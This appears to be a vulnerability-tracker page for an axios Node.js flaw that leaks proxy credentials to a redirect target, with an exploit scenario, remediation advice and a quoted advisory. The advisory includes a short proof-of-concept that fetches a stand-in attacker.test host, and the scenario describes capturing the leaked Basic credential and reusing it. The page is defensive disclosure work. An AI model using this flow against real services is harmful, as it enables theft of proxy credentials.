Skip to main content

Axios EUVDEUVD-2026-36262

| CVE-2026-44487 HIGH
Insertion of Sensitive Information Into Sent Data (CWE-201)
2026-06-04 https://github.com/axios/axios GHSA-p92q-9vqr-4j8v
Information Disclosure Node.js
8.2
CVSS 4.0 · Vendor: https://github.com/axios/axios
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker stands up malicious HTTP origin
  2. Delivery
    Victim axios client fetches http://attacker URL via authenticated proxy
  3. Exploit
    Origin returns 302 to same-host HTTPS URL
  4. Install
    Axios re-runs proxy resolution, finds no proxy applies
  5. C2
    Stale Proxy-Authorization retained on direct TLS request
  6. Execute
    Attacker TLS endpoint logs Basic-auth header
  7. Impact
    Attacker replays proxy credential to corporate proxy

Vulnerability Assessment

Weakness
CWE
CWE-201
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Outbound data filtering
Exploitation Conditions

All of the following must hold simultaneously: (1) the target uses axios on Node.js with the http adapter (browser, XHR, fetch, and React Native adapters are immune); (2) an authenticated HTTP proxy is configured via config.proxy or HTTP_PROXY environment variable with embedded credentials; (3) the initial request URL is http:// (not https://) and matches the proxy; (4) maxRedirects is left at its default non-zero value so redirects are followed; (5) the redirect target resolves to no proxy - either because HTTPS_PROXY is unset or the target matches NO_PROXY; (6) the redirect shape is treated as same-host by follow-redirects' confidential-header logic, so it does not strip Proxy-Authorization itself; and (7) the attacker controls or compromises the redirect target origin (or its TLS-terminating endpoint) to observe the leaked header. Exploitation is LIMITED by: the Node-only attack surface, the multi-condition redirect shape that does not occur in typical browser-style usage, the requirement that the victim initiate the request to attacker-influenced URLs, and the requirement that the leaked proxy credential be reusable from the attacker's network position to have downstream value.
Impact

The provided CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N) scores 8.2 - high confidentiality impact with Attack Requirements 'Present' acknowledging the multi-condition prerequisite chain (proxy-authenticated HTTP request → redirect → no proxy on redirect target → same-host redirect shape). PR:N is technically correct because the axios client initiates the request, but practical exploitability requires luring the victim client to a controlled HTTP URL whose proxy permits redirects to attacker infrastructure, which raises real-world complexity above what AC:L suggests. EPSS and KEV data were not provided in the input; no public exploit identified at time of analysis beyond the researcher's documented PoC outline. Real-world risk is meaningful for organizations whose CI/CD agents, scrapers, or server-side fetchers route outbound HTTP through an authenticated corporate proxy and call arbitrary URLs (SSRF-adjacent surfaces, webhook handlers, URL-preview services), but is negligible for browser-only or non-proxied deployments. This is a targeted-supply-chain-grade credential-disclosure bug, not a wormable RCE.
Exploit ScenarioDerived

An attacker registers attacker.test and waits for a victim Node.js service (e.g., a webhook receiver, URL-preview worker, or scraper) that routes outbound traffic through a corporate authenticated HTTP_PROXY to fetch http://attacker.test/start. The attacker's HTTP server returns a 302 redirect to https://attacker.test/final, and because no HTTPS_PROXY is configured the redirected TLS request goes direct - carrying the stale Basic-auth Proxy-Authorization header to attacker-controlled TLS termination, which the researcher demonstrated in a local PoC outline. The attacker decodes the Basic credentials and, if the corporate proxy is reachable from their network, authenticates to it to pivot outbound traffic or abuse internal allowlists.
This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 11, 2026

Proxy credential disclosure in Axios Node.js HTTP adapter (versions <1.16.0 and <=0.31.1) allows a malicious or attacker-controlled origin to receive the configured Proxy-Authorization header during specific HTTP-to-HTTPS redirect flows where the redirected request bypasses the proxy. No public exploit identified at time of analysis, though the researcher published a safe local proof-of-concept outline. The leaked credential, if reusable and the proxy is reachable, enables the attacker to authenticate to the victim's outbound proxy.

Earlier versions of this analysis (2)
v2 Jun 11, 2026 - 17:45 cvss changed CVSS 8.2

Proxy credential disclosure in Axios Node.js HTTP adapter allows a malicious or attacker-controlled redirect target to capture the configured Proxy-Authorization header during specific HTTP-proxy-to-direct redirect transitions. The flaw affects axios versions 1.0.0 through 1.15.x and 0.x up to 0.31.1, exclusively on the Node.js http adapter; browser, XHR, fetch, and React Native paths are unaffected. No public exploit identified at time of analysis, and there is no CISA KEV listing, but the vendor advisory (GHSA-p92q-9vqr-4j8v) is public and patches are released in 1.16.0 and 0.32.0.

v1 Jun 04, 2026 - 14:50

Credential disclosure in Axios Node.js HTTP adapter allows a malicious or attacker-controlled origin to receive a victim's outbound proxy credentials when an authenticated HTTP proxy request is redirected to a destination for which no proxy applies. Affects axios 1.0.0 through 1.15.x and 0.x up to 0.31.1; browser, XHR, fetch, and React Native adapters are not affected. No public exploit identified at time of analysis, and the issue is limited to a specific proxy-to-direct redirect shape treated as same-host by follow-redirects.

RemediationAI

Vendor-released patch: upgrade to axios 1.16.0 (1.x branch, fix commit afca61a updating setProxy to strip every case variant of Proxy-Authorization on redirect re-invocation) or 0.32.0 (0.x backport adding a removeProxyAuthorization() guard, plus broader proxy/cookie hardening - note the 0.32.0 breaking change that mergeConfig and header merging now return null-prototype objects, so consumers using direct property access on merged config must switch to Object.prototype.hasOwnProperty.call). See https://github.com/axios/axios/releases/tag/v1.16.0 and https://github.com/axios/axios/releases/tag/v0.32.0. If immediate upgrade is not feasible, set maxRedirects: 0 on axios requests that use authenticated proxies and handle redirects manually, ensuring Proxy-Authorization is not copied to direct requests (trade-off: every consumer of axios in the codebase must implement redirect handling, and silently breaks integrations that rely on automatic redirect following). Alternative compensating controls: stop embedding credentials in HTTP_PROXY / config.proxy and instead use IP-allowlisted or mTLS-authenticated proxies (eliminates the reusable secret), or scope proxy credentials so they are not reusable from arbitrary attacker networks. If exposure is suspected, rotate the proxy credential immediately.

Affected VersionsENISA

axios 1.0.0, < 1.16.0
axios < 0.32.0

Affected Packages

npm axios fix: 0.32.0, 1.16.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Sign in to check
Technical ContextAI · show details

Axios is a widely used JavaScript HTTP client; the flaw lives in lib/adapters/http.js, the Node.js HTTP adapter that wraps Node's http/https modules and the follow-redirects library. When a proxy with credentials is configured (via config.proxy or HTTP_PROXY env vars), setProxy() injects a Basic-auth Proxy-Authorization header for the proxy hop. On redirect, axios re-runs proxy resolution, but prior to the fix it failed to clear the stale Proxy-Authorization when the redirected request no longer matched any proxy (e.g., no HTTPS_PROXY set or a NO_PROXY match). Combined with follow-redirects' confidential-header logic - which only strips sensitive headers when host/port comparison flags a cross-origin redirect - same-host HTTP→HTTPS redirects retained and forwarded the credential. This is a CWE-201 (Insertion of Sensitive Information Into Sent Data) class issue affecting only the Node HTTP adapter; browser XHR, fetch, and React Native adapters are unaffected because they do not implement this proxy code path. CPE coverage is pkg:npm/axios.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources
Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/axios/axios) PRIMARY 8.2 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
vuln.today AI 6.1 MEDIUM

Network vector, no axios-side auth (PR:N), but high complexity and user/client interaction (must fetch attacker URL); scope changes from axios client to proxy, leaking confidential credentials only.

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N
4.0 AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
SUSE 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Red Hat 7.5 HIGH

Primary rating from Vendor (https://github.com/axios/axios).

CVSS VectorVendor: https://github.com/axios/axios

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Jun 11, 2026 - 17:45 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 11, 2026 - 17:45 vuln.today
v2 - CVSS changed
CVSS changed
Jun 11, 2026 - 17:37 NVD
8.2 (HIGH)

DescriptionCVE.org

Summary

Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.

This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.

Impact

A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.

The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.

The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.

Affected Functionality

Affected functionality requires all of the following:

  • Axios running in Node.js with the HTTP adapter.
  • An initial http:// request using an authenticated proxy from config.proxy or proxy environment variables.
  • Redirect following enabled.
  • A redirect target for which no proxy applies, such as no matching HTTPS_PROXY or a matching NO_PROXY.
  • A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.

Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.

Technical Details

In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.

Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.

The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NO_PROXY, different proxy targets, casing variants, and an end-to-end redirect flow.

The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.

Proof of Concept of Attack

Safe local outline using dummy credentials:

js
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');

Expected vulnerable behaviour:

text
Proxy receives initial request:
Proxy-Authorization: Basic dXNlcjpwYXNz

Final HTTPS origin receives redirected request:
Proxy-Authorization: Basic dXNlcjpwYXNz

Expected fixed behaviour:

text
Final HTTPS origin receives no Proxy-Authorization header.

Workarounds

Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.

Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

<details> <summary>Original Source</summary>

Summary

Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.

When an initial HTTP request is sent through an authenticated HTTP_PROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin.

Details

The issue occurs during a proxy-to-direct transition across redirects.

When Axios sends an initial HTTP request through an authenticated HTTP_PROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.

In the affected flow, the final HTTPS origin receives a Proxy-Authorization header value that was intended only for the outbound proxy.

Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent.

Root Cause Analysis

Based on code review, Axios appears to create the stale header condition in its Node.js http adapter.

In lib/adapters/http.js:

  • When a proxy is used, Axios adds Proxy-Authorization in setProxy().
  • Axios also re-runs proxy resolution after redirects via its redirect hook.
  • However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.

As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.

A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.

Client Conditions
  • the initial HTTP request uses an authenticated HTTP_PROXY
  • no proxy applies to the redirected HTTPS URL (for example, no HTTPS_PROXY is configured)
  • redirects are followed
  • the redirect is treated as same-host by the redirect layer

Under that redirect shape, the retained Proxy-Authorization header is not removed before the redirected request is sent to the final HTTPS origin.

Reproduction Outline

Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.

The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.

The issue was confirmed under the following conditions:

  • axios 1.13.6
  • follow-redirects 1.15.11
  • an authenticated proxy applying to the initial HTTP request
  • no proxy applying to the redirected HTTPS URL
  • redirects enabled
  • an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer
Observed behavior
  • The initial HTTP request is sent through the proxy and includes Proxy-Authorization.
  • The redirected HTTPS request is sent directly to the final origin.
  • The redirected HTTPS request still includes the previously generated Proxy-Authorization header.
  • The final origin can receive a Proxy-Authorization header value that was intended only for the proxy.
Expected behavior

Axios should not send the Proxy-Authorization header on a redirected request that is no longer sent through a proxy.

Impact

Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained Proxy-Authorization header value that was intended only for the outbound proxy.

If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls. </details>

---

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 273 npm packages depend on axios (189 direct, 84 indirect)

Ecosystem-wide dependent count for version 1.0.0.

Executive ViewAI

Why It Matters

Axios Node.js HTTP adapter contains a proxy credential disclosure vulnerability affecting versions before 1.16.0 and 0.31.1, allowing proxy authentication headers to leak to attacker-controlled destinations during HTTP-to-HTTPS redirects. All Node.js applications using Axios with proxy authentication are at risk of proxy infrastructure compromise, potentially enabling attackers to intercept traffic or access internal resources through the organization's proxy.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information Disclosure MEDIUM

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Node.js

View all
CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

Same weakness CWE-201 – Insertion of Sensitive Information Into Sent Data

View all
CVE-2026-39912 CRITICAL POC
9.1
CVE-2021-26566 CRITICAL POC
9.0
CVE-2026-27934 HIGH POC
8.7
CVE-2026-67425 HIGH POC
8.6
CVE-2025-60188 HIGH POC
7.5
CVE-2025-58098 HIGH POC
8.3
CVE-2024-43283 MEDIUM POC
5.3
CVE-2026-105849 HIGH POC
7.7

Same technique Information Disclosure

View all
CVE-2019-2725 CRITICAL POC
9.8
CVE-2021-34523 CRITICAL POC
9.0
CVE-2013-2251 CRITICAL POC
9.8
CVE-2017-5638 CRITICAL POC
9.8
CVE-2025-24813 CRITICAL POC
9.8
CVE-2015-1701 HIGH POC
7.8
CVE-2017-0147 HIGH POC
7.5

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 12 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected

References

Advisories & patches
ADVISORY https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v ADVISORY https://vuldb.com/vuln/370403 ADVISORY https://www.herodevs.com/vulnerability-directory/cve-2026-44487 REF https://access.redhat.com/errata/RHSA-2026:20889 REF https://access.redhat.com/errata/RHSA-2026:20938 REF https://access.redhat.com/errata/RHSA-2026:26234 REF https://access.redhat.com/errata/RHSA-2026:27044 REF https://access.redhat.com/errata/RHSA-2026:27063 REF https://access.redhat.com/errata/RHSA-2026:28964 REF https://access.redhat.com/errata/RHSA-2026:29082 REF https://access.redhat.com/errata/RHSA-2026:29197 REF https://access.redhat.com/errata/RHSA-2026:29864 REF https://access.redhat.com/errata/RHSA-2026:30650 REF https://access.redhat.com/errata/RHSA-2026:30651 REF https://access.redhat.com/errata/RHSA-2026:33155 REF https://access.redhat.com/errata/RHSA-2026:33160 REF https://access.redhat.com/errata/RHSA-2026:33163 REF https://access.redhat.com/errata/RHSA-2026:33173 REF https://access.redhat.com/errata/RHSA-2026:33183 REF https://access.redhat.com/errata/RHSA-2026:33574 REF https://access.redhat.com/errata/RHSA-2026:34374 REF https://access.redhat.com/errata/RHSA-2026:34525 REF https://access.redhat.com/errata/RHSA-2026:34527 REF https://access.redhat.com/errata/RHSA-2026:34530 REF https://access.redhat.com/errata/RHSA-2026:36611 REF https://access.redhat.com/errata/RHSA-2026:36754 REF https://access.redhat.com/errata/RHSA-2026:36820 REF https://access.redhat.com/errata/RHSA-2026:36882 REF https://access.redhat.com/errata/RHSA-2026:36883 REF https://access.redhat.com/errata/RHSA-2026:40119 REF https://access.redhat.com/errata/RHSA-2026:40138 REF https://access.redhat.com/errata/RHSA-2026:40262 REF https://access.redhat.com/errata/RHSA-2026:40768 REF https://access.redhat.com/errata/RHSA-2026:40792 REF https://access.redhat.com/errata/RHSA-2026:40795 REF https://access.redhat.com/errata/RHSA-2026:41031 REF https://access.redhat.com/errata/RHSA-2026:41055 REF https://access.redhat.com/errata/RHSA-2026:41064 REF https://access.redhat.com/errata/RHSA-2026:41066 REF https://access.redhat.com/errata/RHSA-2026:41928 REF https://access.redhat.com/errata/RHSA-2026:41951 REF https://access.redhat.com/errata/RHSA-2026:42078 REF https://access.redhat.com/errata/RHSA-2026:42085 REF https://access.redhat.com/errata/RHSA-2026:42142 REF https://access.redhat.com/errata/RHSA-2026:42146 REF https://access.redhat.com/errata/RHSA-2026:42796 REF https://access.redhat.com/errata/RHSA-2026:43052 REF https://access.redhat.com/errata/RHSA-2026:46885 REF https://access.redhat.com/errata/RHSA-2026:46903 REF https://access.redhat.com/errata/RHSA-2026:50300 REF https://access.redhat.com/errata/RHSA-2026:54188 REF https://access.redhat.com/errata/RHSA-2026:54206 REF https://access.redhat.com/errata/RHSA-2026:57191 REF https://access.redhat.com/errata/RHSA-2026:60520 REF https://access.redhat.com/errata/RHSA-2026:66488 REF https://access.redhat.com/errata/RHSA-2026:66545 REF https://access.redhat.com/security/cve/CVE-2026-44487 REF https://bugzilla.redhat.com/show_bug.cgi?id=2487948 REF https://github.com/advisories/GHSA-p92q-9vqr-4j8v REF https://github.com/axios/axios/releases/tag/v0.32.0 REF https://github.com/axios/axios/releases/tag/v1.16.0 REF https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44487.json

Search Externally

GitHub PoC Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy